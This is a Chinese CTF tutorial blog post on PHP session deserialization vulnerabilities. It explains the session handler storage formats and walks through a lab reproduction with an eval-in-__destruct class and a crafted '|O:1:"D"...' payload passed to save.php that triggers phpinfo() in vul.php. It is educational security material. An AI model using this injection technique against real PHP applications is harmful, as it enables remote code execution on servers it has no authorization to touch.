Skip to main content

📞CTF-Web-PHPSession反序列化

·87 words·1 min
Yalois
Author
Yalois

基础知识
#

1.当session_start()被调用时,或者php.ini中的session.auto_start为1,则启用session管理,如果session存在,则使用对应的处理器访问使用在了本地的session文件,否则就新建session文件。

2.php有三种SESSION处理器,处理器负责读写session文件,有三种处理器对应的三种存储格式。如下

//三种处理器
1.php处理器
存储格式:键名1|序列化$_SESSION[键名1]的值;键名2|序列化$_SESSION[键名2]的值;...
2.php_serialize处理器(php>=5.5.4)
存储格式:序列化$_SESSION后的值
3.php_binary处理器
存储格式:键名1长度对应的ASCII字符+键名1+$_SESSION[键名1]的序列化值;键名2长度对应的ASCII字符+键名2+$_SESSION[键名2]的序列化值;...

因为存储的时候序列化了,所以读取的时候会反序列化

3.ini_set函数:https://www.php.net/manual/zh/function.ini-set.php

image-20240731154912086

Session反序列化漏洞的成因
#

session反序列化漏洞是在读取本地session的时候处理器选择错误引起的漏洞。

漏洞复现
#

这里用橙子科技工作室提供的代码。

save.php

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

vul.php

<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

需要先访问save.php以php_serialize处理器来保存session文件,然后再访问vul.php用php处理器来读取session文件。

先根据vul提供的class来构造反序列化需要用的序列化内容

<?php
class D{
    var $a="phpinfo();";
    function __destruct(){
        eval($this->a);
    }
}

echo serialize(new D());
?>

输出内容是

O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

然后构造a的值

|O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}

访问

save.php?a= |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}

然后再访问vul.php会发现已经出现phpinfo了

image-20240802160436391

解释
#

可以看到成功触发了。为什么呢?

可以查看服务器上的session文件

image-20240802160338342

因为存储的时候使用php_serialize处理器,

$_SESSION[‘ben’] = $_GET[‘a’];

其中ben的值是传入的a字符串:

|O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}

然后vul.php则是用php处理器来读取,

php处理器是以(键名|序列化$_SESSION[键名]的值)来存储的

所以会把|之前的值当键名,把|之后的当键值。

然后对键值进行反序列化操作,从而利用漏洞。

参考
#

https://www.freebuf.com/articles/web/324519.html

https://www.bilibili.com/video/BV1R24y1r71C